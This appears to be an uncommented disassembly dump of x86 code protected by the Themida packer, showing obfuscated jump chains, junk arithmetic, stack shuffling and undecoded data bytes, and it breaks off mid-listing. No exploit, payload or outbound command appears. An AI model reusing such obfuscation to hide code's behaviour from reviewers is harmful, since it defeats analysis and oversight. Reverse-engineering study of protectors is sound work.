		jmp	loc_564357
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4B42165Dh, 120EAE9h,	0A31B900h, 0C1813B36h, 583044A8h
		dd 33E9D1F7h, 56000102h, 116BBD55h, 0A7BE47D3h,	1FBF741h
		dd 0F6815DEEh, 16203B9Dh, 0C15EF721h, 0C78102EFh, 4AC78505h
		dd 0F75FFB89h, 0C4E952D3h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5513BB:				; CODE XREF: Themida_:00559320j
		dec	edi
		sub	edi, 0BFD1EC5h
		shl	edi, 6
		add	edi, 467B30Fh
		jmp	loc_5564BE
; ---------------------------------------------------------------------------


loc_5513D0:				; CODE XREF: Themida_:0055C003j
		sub	esp, 4
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		jmp	loc_55226C
; ---------------------------------------------------------------------------
		db 31h,	0D0h, 0FFh
		dd 0E95A2434h, 3A7h
; ---------------------------------------------------------------------------


loc_5513F4:				; CODE XREF: Themida_:0055AE01j
		pop	ebx
		add	esp, 4
		push	ecx
		pop	dword ptr [edi+20h]
		pop	ecx
		jmp	loc_554F96
; ---------------------------------------------------------------------------


loc_551402:				; CODE XREF: Themida_:0055FBDAj
		neg	eax
		add	eax, 0D41611CBh
		mov	edx, eax
		pop	eax
		add	edi, edx
		jmp	loc_55AEC5
; ---------------------------------------------------------------------------
		db 53h
		dd 12A7FE9h, 0E9565300h, 0A372h
; ---------------------------------------------------------------------------


loc_551420:				; CODE XREF: Themida_:0055C7B5j
		xor	al, 3Ah
		add	al, 1
		push	ecx
		mov	ch, 0ABh
		neg	ch
		jmp	loc_554E8A
; ---------------------------------------------------------------------------


loc_55142E:				; CODE XREF: Themida_:00561E17j
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	edx
		push	6521h
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_561318
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 6CE0105h, 0E981C129h, 6CE0105h, 81F10158h, 125E7DC1h
		dd 0F256E933h, 5F210000h, 0D4E95B1Ch
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55148B:				; CODE XREF: Themida_:005640D9j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2A3F3C2Eh
		xor	ebp, 4C2A3A1Dh
		shl	ebp, 4
		or	ebp, 17364F60h
		neg	ebp
		sub	ebp, 81165ABEh
		and	ebx, ebp
		jmp	loc_5635C7
; ---------------------------------------------------------------------------
aSvr		db ']И╒r',0
		dd 4EC8100h, 89000000h,	0BE56240Ch, 60EC7348h, 1E8E9h
		dd 81CE0100h, 47F23EEh,	240C8B11h, 4C481h, 34870000h, 17D8E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5514EA:				; CODE XREF: Themida_:0056050Dj
		push	eax
		mov	eax, 59AB5706h
		jmp	loc_563498
; ---------------------------------------------------------------------------
aASnc		db '╬еA╬$ИN≈',0
		dw 5800h
		dd 1006BE9h
		db 0
; ---------------------------------------------------------------------------


loc_551505:				; CODE XREF: Themida_:005606A8j
		pop	esi
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	ecx, 2
		jmp	loc_563F3A
; ---------------------------------------------------------------------------
		dw 3489h
		dd 2474FF24h, 24348B04h, 4C481h, 48F0000h, 0E9545C24h
		dd 113AAh, 80E9D588h, 310000DCh, 4EC81C3h, 0E9000000h
		dd 11EA9h
; ---------------------------------------------------------------------------


loc_551550:				; CODE XREF: Themida_:0055AB58j
		pop	eax
		pop	dx
		sub	al, 0FAh
		jmp	loc_561BAF
; ---------------------------------------------------------------------------
		dw 0D000h
		dd 285F2C5Ah, 19B151C8h, 80B9E980h, 0C8003FF1h,	83240C8Bh
		dd 4C2C04C4h, 1E13E959h, 875D0000h, 0E95C240Ch,	0BBB1h
		dd 0C181E1D1h, 0DDBFA9ACh, 0E959CF29h, 1D3Bh
; ---------------------------------------------------------------------------


loc_551594:				; CODE XREF: Themida_:00560D8Bj
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55930B
; ---------------------------------------------------------------------------
		dd 698EF81h, 34FF35E3h,	0C4815824h, 4, 45E9FA31h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5515B7:				; CODE XREF: Themida_:00562EA6j
		push	74F2h
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_559143
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0ED814DD5h, 0B19DB4D6h, 0D5DE801h, 2C6E5B58h, 0E0962D48h
		dd 0EC813623h, 4, 0BD242C89h, 45F33943h, 4B125905h, 51E80117h
		dd 0B1C1E9h, 4C58100h, 83000000h, 2C8704EDh, 24248B24h
		dd 0BE243489h, 0B9A2EBAh, 6F0CE9h, 240C8B00h, 4C481h, 28680000h
		dd 0E900000Bh, 25BCh
; ---------------------------------------------------------------------------


loc_551628:				; CODE XREF: Themida_:00557B0Aj
		pop	ecx
		jmp	loc_55261E
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 2434FF24h, 0E92434FFh, 5445h
; ---------------------------------------------------------------------------


loc_55163C:				; CODE XREF: Themida_:00552A9Dj
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 24F44E60h
		or	ebx, edi
		jmp	loc_5589B1
; ---------------------------------------------------------------------------
		db 0F6h, 14h, 24h
		dd 0EAC05A66h, 0FEC28007h, 685AD000h, 2B6Ch, 30240489h
		dd 2E9242Ch, 0B400001Bh, 45A5E940h, 0FF570000h,	8B042474h
		dd 0C481243Ch, 4, 8B24048Fh, 8B662424h,	9F682404h, 89000020h
		dd 9768243Ch, 89000008h, 0BB532424h, 4,	4245C01h, 57B9E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5516B2:				; CODE XREF: Themida_:00563EF4j
		xor	ecx, eax
		jmp	loc_5520DE
; ---------------------------------------------------------------------------
		db 0B9h, 0ADh, 0C3h
		dd 0F1297F47h, 0C2E1815Eh, 81304561h, 8AEEDEC1h, 595F51FEh
		dd 2F1AF781h, 0F8890ECCh, 81243C8Bh, 4C4h, 5CEF8100h, 1375070h
		dd 5CC781C7h, 58375070h, 4BD55h, 0EF010000h, 83242C8Bh
		dd 0EBE904C4h, 0BB000105h, 14D651F5h, 86E9F301h, 5A000001h
		dd 0A695E9h, 79E98100h,	0E90D7A2Fh, 4DA6h, 815BDA29h, 927155F2h
		dd 585FE976h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55172E:				; CODE XREF: Themida_:0055226Fj
		pop	edx
		add	esp, 4
		jmp	loc_55C367
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 0B36547C7h, 81EF2973h, 0B36547EFh, 0D1C78173h, 0E953327Fh
		dd 129FDh
; ---------------------------------------------------------------------------


loc_551754:				; CODE XREF: Themida_:00552490j
		mov	ebx, [esp]
		push	eax
		jmp	loc_560C05
; ---------------------------------------------------------------------------


loc_55175D:				; CODE XREF: Themida_:0055A995j
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55C798
; ---------------------------------------------------------------------------
		dd 16E95258h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55176F:				; CODE XREF: Themida_:0055423Aj
		push	eax
		mov	eax, 4E08481Ch
		or	esi, eax
		pop	eax
		not	esi
		add	esi, 4E096882h
		sub	edi, esi
		pop	esi
		jmp	loc_558708
; ---------------------------------------------------------------------------
		dd 0C000F4B9h, 34566810h, 3C890000h, 0AE95524h,	680000E8h
		dd 3710h, 92FE9h, 1DF1B900h, 0C1810C54h, 0F3ABE213h, 9DB5E955h
		dd 0C7890000h, 1EE78158h, 0E9180528h, 1193Eh
; ---------------------------------------------------------------------------


loc_5517C4:				; CODE XREF: Themida_:0055BA9Dj
		pop	esi
		not	esi
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		sub	esp, 4
		jmp	loc_557640
; ---------------------------------------------------------------------------
		dw 0DE29h
		dd 51EE015Bh, 5A6E3FB9h, 59CE0159h, 5D2434FFh, 0E904C483h
		dd 11B0h, 0C443E4BEh, 5EF58951h, 11439E9h
		db 0
; ---------------------------------------------------------------------------


loc_551805:				; CODE XREF: Themida_:00555299j
		push	edi
		mov	edi, 58E30098h
		and	edi, 174F2762h
		not	edi
		xor	edi, 0EFBCFFFBh
		add	esi, edi
		jmp	loc_558407
; ---------------------------------------------------------------------------
aIxhs		db '┴ЕhХ}',0
		dw 8900h
		dd 0A2BA2414h, 813A130Ah, 80308AF2h, 0DCC28125h, 0E9E06CC5h
		dd 0E337h
; ---------------------------------------------------------------------------


loc_551840:				; CODE XREF: Themida_:0055C7A1j
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_556F44
; ---------------------------------------------------------------------------
		dd 4C481h, 7C010000h, 5FE90824h, 1000143h, 0FEB3E9D1h
		dd 515BFFFFh, 0B34852B9h, 5E1C133h, 3E9C149h, 585AF181h
		dd 0E1C147FDh, 0D8E98106h, 0E9444FEDh, 225Fh, 2BFh, 5FF80100h
		dd 5C240487h, 0C4B4E9h,	0D4B85E00h, 3149F757h, 44015BD8h
		dd 70E90424h, 5A000060h, 0A055E9h, 4EC8300h, 8131E9h
		db 0
; ---------------------------------------------------------------------------


loc_5518B5:				; CODE XREF: Themida_:0055232Fj
		xchg	esi, [esp]
		pop	esp
		push	edx
		jmp	loc_55AD21
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 243C8700h, 24048F5Ch, 9196E9h
		db 0
; ---------------------------------------------------------------------------


loc_5518D1:				; CODE XREF: Themida_:00552367j
		push	edi
		jmp	loc_55A1C2
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0DC38000h, 0EB80C328h,	27C3800Dh, 582434FFh, 4C481h
		dd 0E9530000h, 8DA4h
; ---------------------------------------------------------------------------


loc_5518F8:				; CODE XREF: Themida_:00565B9Dj
		mov	eax, 39B92067h
		xor	eax, 23B1368Dh
		push	esi
		push	edi
		push	29AD4898h
		pop	edi
		xor	edi, 33A55E76h
		mov	esi, edi
		pop	edi
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 3E4E61E5h
		add	edi, eax
		jmp	loc_552FB1
; ---------------------------------------------------------------------------
byte_55192B	db 0FFh			; DATA XREF: Themida_:00550D80o
		dd 48B2434h, 10336824h,	2C890000h, 2C8B5424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	4799h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_557ECD
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 1383B850h, 2EE9485Fh, 510000ADh, 588DB966h, 123B8E9h
		dd 48F5A00h, 24248B24h,	4EC81h,	0C890000h, 81E18924h, 4C1h
		dd 9557E900h, 0EBC10000h, 93C38106h, 1FC69B9h, 0C4E95BDAh
		dd 830000A8h, 514F04C4h, 0B9h, 87F92900h, 0EF8159CFh, 1A4530EAh
		dd 0AC15E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5519C2:				; CODE XREF: Themida_:005658D1j
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_5574F9
; ---------------------------------------------------------------------------
		dd 4BE56h, 0F3010000h, 5E2434FFh, 4C481h, 1C870000h, 56585C24h
		dd 0C94641BEh, 5EF0011Dh, 0FFF56AE9h, 303805FFh, 69054C27h
		dd 129800Ah, 0A692DD8h,	382D2980h, 524C2730h, 38B3E9h
		db 0
; ---------------------------------------------------------------------------


loc_551A11:				; CODE XREF: Themida_:0055C930j
		pop	esp
		or	eax, eax
		jmp	loc_557B47
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 0E1h
		dd 28426866h, 24148966h, 0E99C5066h, 0FFFFF533h
; ---------------------------------------------------------------------------


loc_551A2C:				; CODE XREF: Themida_:0055E9BDj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		mov	ebp, 24D324A2h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_55382D
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0E3h
		dd 814D2C04h, 6222EC7h,	5AF78136h, 8101C636h, 0BAFE76C7h
		dd 0A9EE81E9h, 290A0965h, 703E9FEh, 0D7890001h,	2E7C15Ah
		dd 0A4CFE9h, 4C48300h, 0F8FDE9h, 0C8F48000h, 3047EC80h
		dd 24048BE5h, 81E78957h, 4C7h, 4C78100h, 87000000h, 805C243Ch
		dd 0EDC044CDh, 0CEB35305h, 30ECF380h, 0B1515BDDh, 0C0C9FE23h
		dd 0E98006E9h, 0E9C800CDh, 60B1h, 0C1D0F75Dh, 0B0504E0h
		dd 0E9212955h, 2025h, 51CDE957h, 0EB810000h, 77757534h
		dd 2C68F329h, 89000047h, 0E9502414h, 0C177h, 8BF0315Dh
		dd 0C4812434h, 4, 0DFF8E9h
		db 0
; ---------------------------------------------------------------------------


loc_551AF5:				; CODE XREF: Themida_:00558BC5j
		xor	edx, 0B9E72904h
		add	ebp, edx
		pop	edx
		jmp	loc_55DD35
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 83592434h, 48F04C4h, 24248B24h, 9C2424D3h
		dd 0FFF442E9h, 1EB81FFh, 0E9000000h, 3AA8h, 22EDBD55h
		dd 0C5815DF8h, 45046E9Ch, 189FCD81h, 81451658h,	68217CC5h
		dd 0E8C5811Dh, 12B9B44h, 2DE95DEAh, 8B0000A7h, 0C481243Ch
		dd 4, 8B242C87h, 0C3312424h, 1E49E9h, 24148900h, 0C281E289h
		dd 4, 8704EA83h, 685C2414h, 6829h, 57242489h, 4BFh, 247C0100h
		dd 48F5F04h, 3962E924h,	0C6010000h, 5A05E9h, 90AB900h
		dd 0CE011DA3h, 81240C8Bh, 4C4h,	0EC815900h, 4, 0FF243489h
		dd 8B042474h, 89572434h, 1BEC68E7h, 4890000h, 4B824h, 0EF810000h
		dd 7BC87CF8h, 0C781C701h, 7BC87CF8h, 0FCE1E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_55CB12
; ---------------------------------------------------------------------------


loc_551BF0:				; CODE XREF: Themida_:00561E75j
		mov	[esp], edi
		push	3BE1h
		mov	[esp], eax
		mov	eax, 0C4E9F1CEh
		push	eax
		sub	dword ptr [esp], 15171A04h
		jmp	loc_56217B
; ---------------------------------------------------------------------------
		db 68h,	50h, 6Ah
		dd 70E90000h
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551C17:				; CODE XREF: Themida_:005568CEj
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55410D
; ---------------------------------------------------------------------------
		dd 4C681h, 0C6810000h, 4, 5C243487h, 1A55C581h,	0DD010C41h
		dd 1A55ED81h, 0E95B0C41h, 52E0h, 5F286857h, 505F287Ah
		dd 6A45FFB8h, 58C70142h, 4EEAC781h, 0E7816747h,	0B3D02DBh
		dd 0FA70EF81h, 0FA8982A0h, 8BC2315Fh, 0C4812404h, 4, 0E95AD189h
		dd 13CC0h, 6DF4C181h, 555E0EFAh, 5B508FBDh, 0E9E5D107h
		dd 0A7EDh
; ---------------------------------------------------------------------------


loc_551C98:				; CODE XREF: Themida_:005585E7j
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	eax, [esp]
		push	edx
		jmp	loc_5543C5
; ---------------------------------------------------------------------------
		dd 6BD4E181h, 0D1F71F47h, 0E957D9F7h, 1293Bh, 0FFF2A2E9h
		dd 4C483FFh, 4C181h, 0E9550000h, 1168h,	5304C483h, 8D3414BBh
		dd 0F0BD551Ch, 0E9E372CBh, 0D563h
; ---------------------------------------------------------------------------


loc_551CE0:				; CODE XREF: Themida_:005636C7j
		not	edx
		inc	edx
		sub	edx, 0FFFFFFFFh
		push	edi
		mov	edi, 499933FCh
		jmp	loc_559C3A
; ---------------------------------------------------------------------------
		db 89h,	0F5h, 5Eh
aMs		db 'MИ╩}',0
		align 2
		dw 0E954h
		dd 12571h
; ---------------------------------------------------------------------------


loc_551D00:				; CODE XREF: Themida_:0055244Dj
		pop	ebp
		jmp	loc_55C3CE
; ---------------------------------------------------------------------------


loc_551D06:				; CODE XREF: Themida_:00557AFAj
		push	esi
		mov	esi, 416B396Dh
		shr	esi, 4
		inc	esi
		jmp	loc_554C3B
; ---------------------------------------------------------------------------


loc_551D15:				; CODE XREF: Themida_:0055BE3Bj
		push	7A4A37CEh
		mov	eax, [esp]
		add	esp, 4
		shl	eax, 8
		sub	eax, 0BFA5135h
		push	edx
		mov	edx, 6AA1213Bh
		or	edx, 14FB34FAh
		inc	edx
		sub	edx, 740C18E5h
		or	eax, edx
		pop	edx
		jmp	loc_55BFF4
; ---------------------------------------------------------------------------
		dw 0CB2Ch
		dd 0CB04C828h, 83240C8Bh, 0DA6804C4h, 8900006Dh, 5456241Ch
		dd 7B0BE9h
		db 0
; ---------------------------------------------------------------------------


loc_551D61:				; CODE XREF: Themida_:00559A5Dj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	5566h
		mov	[esp], ebp
		mov	ebp, 5D633C86h
		add	dword ptr [esp+4], 229456AAh
		add	[esp+4], ebp
		push	eax
		push	229456AAh
		pop	eax
		sub	[esp+8], eax
		mov	eax, [esp]
		jmp	loc_557999
; ---------------------------------------------------------------------------
a1Xiqsi		db '1еX┴ОИКф',0
		dd 5F0D5B00h, 0C16AFA74h, 0AC3507E8h, 8945F79Ch, 24048BC6h
		dd 4225E9h, 49BE5600h, 525F6B11h, 81672BBAh, 45CA8103h
		dd 5626816Bh, 0E06C7BEh, 5EF20111h, 525AD601h, 9A345BBAh
		dd 0E9D62958h, 7A1Ch
; ---------------------------------------------------------------------------


loc_551DE4:				; CODE XREF: Themida_:00557F28j
		push	62755607h
		pop	edi
		jmp	loc_555CB6
; ---------------------------------------------------------------------------
		db 81h
		dd 0A06D1EFh, 13EF815Dh, 8B461F01h, 0C483241Ch,	0C0B60F04h
		dd 96C9E9h, 0D8315900h,	0E9241C8Bh, 0F1FBh
; ---------------------------------------------------------------------------


loc_551E14:				; CODE XREF: Themida_:0056229Ej
		push	dword ptr [esp]
		jmp	loc_55FC32
; ---------------------------------------------------------------------------
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 7AA1E981h, 0F1E9398Ch
		dd 8100007Ah, 0CB8DF8E9h, 24C781BCh, 1036B45h, 24EF81CFh
		dd 59036B45h, 1A49E9h, 5E34BB00h, 0DF8938DDh, 2EFC15Bh
		dd 34FBE950h, 0D0310000h, 0D731FA31h, 81E9FA31h, 0BD0000F1h
		dd 0E5A37848h, 2C8BEE29h, 4C48324h, 24348156h, 772D0BD9h
		dd 0C749E9h
		db 0
; ---------------------------------------------------------------------------


loc_551E89:				; CODE XREF: Themida_:00558462j
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		and	eax, esi
		jmp	loc_563D99
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0E9552404h, 4041h
; ---------------------------------------------------------------------------


loc_551EA8:				; CODE XREF: Themida_:0055E109j
		add	edx, ebp
		pop	ebp
		jmp	loc_5526AE
; ---------------------------------------------------------------------------


loc_551EB0:				; CODE XREF: Themida_:00555741j
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	ebx, 5
		shl	ebx, 4
		jmp	loc_565658
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0E9F986D7h, 0DF5Ah
; ---------------------------------------------------------------------------


loc_551ECC:				; CODE XREF: Themida_:005633B3j
		mov	eax, [esp]
		add	esp, 4
		pop	esi
		push	72E0h
		jmp	loc_55CDA1
; ---------------------------------------------------------------------------


loc_551EDD:				; CODE XREF: Themida_:0055F018j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_559299
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 716BE9h, 4EC8100h, 89000000h, 6855240Ch, 7BCC2099h
		dd 81242C8Bh, 4C4h, 2FC58100h, 457B501Bh, 3BC7ED81h, 8957F71Ch
		dd 0FE8956EFh, 0D2D4E9h
		db 0
; ---------------------------------------------------------------------------


loc_551F21:				; CODE XREF: Themida_:00553952j
		add	esp, 4
		add	ebx, edi
		push	edx
		jmp	loc_563D3F
; ---------------------------------------------------------------------------


loc_551F2C:				; CODE XREF: Themida_:0055E70Dj
		push	ebx
		jmp	loc_55DE5F
; ---------------------------------------------------------------------------
		dw 0F480h
		dd 11E4802Dh, 807FC480h, 0E60092ECh, 0E9EE2858h, 0D208h
		dd 5AE9C5B4h, 830000F9h, 0A9E904ECh, 81000139h,	4ECh, 24048900h
		dd 1B225DB8h, 0FD5CBA2Fh, 0C231E58Dh, 0D3EA8158h, 1240120h
		dd 0D3C281F2h, 5E240120h, 4C6868h, 243C8900h, 0FFFFFFBFh
		dd 5FFA29FFh, 550168h, 24048900h, 0CEF1E9h, 4AB45000h
		dd 0E367E9h, 8BCF8900h,	4BE9240Ch, 4E00008Bh, 1241EE81h
		dd 0C181E4C4h, 55910399h, 0E981F101h, 55910399h, 188DE9h
		dd 0BFF68000h, 5AF130h,	1931E9C8h
		db 1, 0
; ---------------------------------------------------------------------------


loc_551FD2:				; CODE XREF: Themida_:0055FF6Aj
		bts	[esp], ax
		pushf
		jmp	loc_550F5F
; ---------------------------------------------------------------------------


loc_551FDD:				; CODE XREF: Themida_:0055CAA1j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		bt	[esp], eax
		pushf
		jmp	loc_550F5F
; ---------------------------------------------------------------------------


loc_551FEE:				; CODE XREF: Themida_:00555196j
		mov	[esp], edx
		mov	edx, 2
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_563083
; ---------------------------------------------------------------------------
		db 0B6h, 11h, 0E9h
		dd 110ABh, 0BF243C89h, 1DA25D71h, 375FC781h, 0EF813856h
		dd 25B51281h, 8104E7C1h, 0B373BCCFh, 29C7813Eh,	0E9109750h
		dd 85E7h, 0C381C301h, 756197Fh,	243C8B58h, 7102E9h, 5BFE0000h
		dd 0D64BE9h, 4C18100h, 0E9000000h, 1ADCh, 8FC4C781h, 0FE89A77Fh
		dd 5EF2895Fh, 77D2EB81h, 0D3014BB5h, 77D2C381h,	335A4BB5h
		dd 1C31241Ch, 241C3324h, 5024248Bh, 11551E9h, 5EF23100h
		dd 3649E281h, 0E9426C71h, 13BBFh, 0C2715BEh, 52DEF727h
		dd 0ED5F3CBAh, 0F2814240h, 5127319h, 1A31C281h,	0E2811F2Fh
		dd 32062B6Ah, 9FEEA81h,	0D631919Eh, 5EF3015Ah, 142FE9h
		dd 241C8B00h, 0E9E28952h, 0F5C0h, 89242C89h, 0BBAE9E5h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5520DE:				; CODE XREF: Themida_:005516B4j
		push	0E89h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_560D0F
; ---------------------------------------------------------------------------
aI4S2		db '\┴4$И2╡',0
		dw 5300h
		dd 0CFFEADB7h, 98C6E9h,	17BE6600h, 0C6816609h, 0C166420Ah
		dd 816608E6h, 662517E6h, 0B516EE81h, 5EF22966h,	81664266h
		dd 66874DC2h, 66506692h, 66586653h, 0E6E2E95Bh,	0D35C0000h
		dd 0E99C2424h, 0FFFFEE23h, 5058C331h, 0C589D889h, 241C8B58h
		dd 4C481h, 0EA010000h, 0C54BE9h
		db 0
; ---------------------------------------------------------------------------


loc_552155:				; CODE XREF: Themida_:00561779j
		xor	[esp], edx
		jmp	loc_55F1A3
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 0E9h
		dd 1E9Eh
; ---------------------------------------------------------------------------


loc_552164:				; CODE XREF: Themida_:005559D6j
		sub	edx, 3B1618D9h
		jmp	loc_55D418
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8704C5h, 0C1835C24h, 240C8704h, 6824248Bh,	0CB7h
		dd 0E9240489h, 0C2A9h, 1AC2B850h, 8F6820BAh, 59677878h
		dd 8158C129h, 0F82EFAC9h, 7CFBE967h, 0C890000h,	2F41B924h
		dd 0A3E949E9h
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5521B3:				; CODE XREF: Themida_:0055D30Bj
		mov	ecx, 0DE46B498h
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55CCCF
; ---------------------------------------------------------------------------
aYsgu		db 'YИGЦ',0
		dw 5E00h
		dd 4C681h, 0C6810000h, 4, 31243433h, 34332434h,	48F5C24h
		dd 0E262E924h, 26B90000h, 0E95B0453h, 0DB90h, 4EC815Ah
		dd 89000000h, 0AEE92434h, 1000100h, 8BAE9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55220A:				; CODE XREF: Themida_:00552F5Fj
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55A99A
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0CBh
		dd 0E9D21927h, 842Bh, 5153D800h, 0E980DEB1h, 59CB8885h
		dd 8028B652h, 0E6C048E6h, 357EE906h, 4890000h, 4EC8124h
		dd 89000000h, 0E789243Ch, 4C781h, 0E9560000h, 0A2EAh
; ---------------------------------------------------------------------------


loc_55226C:				; CODE XREF: Themida_:005513E4j
		push	dword ptr [esp]
		jmp	loc_55172E
; ---------------------------------------------------------------------------
		dd 12FDEB81h, 0F32905B3h, 12FDC381h, 0AAE905B3h
		db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552287:				; CODE XREF: Themida_:00560F69j
		pop	esi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_55A28C
; ---------------------------------------------------------------------------
		dw 0CD29h
		dd 2753C581h, 81594115h, 461A0CF5h, 23E9E906h, 0F9210000h
		dd 81243C8Bh, 4C4h, 6E1C100h, 5104E9C1h, 592414F7h, 0FFB7F181h
		dd 0EB81FF7Fh, 775B460Ch, 38E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5522D5:				; CODE XREF: Themida_:00558AB3j
		xor	esi, 6280794Bh
		xor	esi, 2E8E9F93h
		and	esi, 11A101D3h
		jmp	loc_5631E7
; ---------------------------------------------------------------------------


loc_5522EC:				; CODE XREF: Themida_:00564A89j
		sub	eax, ebx
		sub	eax, 49DE2577h
		jmp	loc_5633A7
; ---------------------------------------------------------------------------
		dd 0F22C681h, 0EEC17BB4h, 0C9EE8107h, 21E38664h, 24348BF2h
		dd 4C481h, 0C2810000h, 15DF41A5h, 89D08950h, 34FF58C5h
		dd 0CE2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552326:				; CODE XREF: Themida_:00561F3Bj
		add	esi, 4
		add	esi, 4
		jmp	loc_5518B5
; ---------------------------------------------------------------------------
aT_hc		db 'T_hФ%',0
		dw 8900h
		dd 0EC832434h, 242C8904h, 0FD417FBDh, 481557Ch,	932F3E24h
		dd 0BB535E43h, 43932F3Eh, 0B2E9DE29h
		db 22h,	1, 0
; ---------------------------------------------------------------------------


loc_55235F:				; CODE XREF: Themida_:0055ED16j
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5518D1
; ---------------------------------------------------------------------------
aGacssu		db '╥ё─Г▒Иuа',0
		align 2


loc_552376:				; CODE XREF: Themida_:005545DDj
		or	edx, eax
		shl	edx, 1
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 6A1207EAh
		push	edi
		jmp	loc_552511
; ---------------------------------------------------------------------------
		db 68h,	0BEh, 6
		dd 0E9540000h, 11780h
; ---------------------------------------------------------------------------


loc_552394:				; CODE XREF: Themida_:00558558j
		pop	esp
		sub	esi, 25543772h
		push	0C36h
		mov	[esp], esi
		jmp	loc_558320
; ---------------------------------------------------------------------------
dword_5523A8	dd 8904EC83h, 8953241Ch, 1BA5E9E3h, 0D5F70001h,	9A6E9h
					; DATA XREF: Themida_:00550DE0o
		dd 0F2EE8100h, 51290913h, 0B6418AB9h, 0E616E936h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5523CE:				; CODE XREF: Themida_:0055A877j
		add	ebp, edx
		jmp	loc_565917
; ---------------------------------------------------------------------------
byte_5523D5	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:00550EA0o
		dd 8904EC83h, 0D68241Ch, 89000004h, 0E968240Ch,	0FF645471h
		dd 0F6E92434h, 81000115h, 4C4h,	8BD98900h, 0C481241Ch
		dd 4, 5150E1D1h, 0FFFFFFB9h, 0C674E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552412:				; CODE XREF: Themida_:0055CEC0j
		add	edx, edi
		pop	edi
		push	esi
		jmp	loc_558AA5
; ---------------------------------------------------------------------------


loc_55241B:				; CODE XREF: Themida_:005569A8j
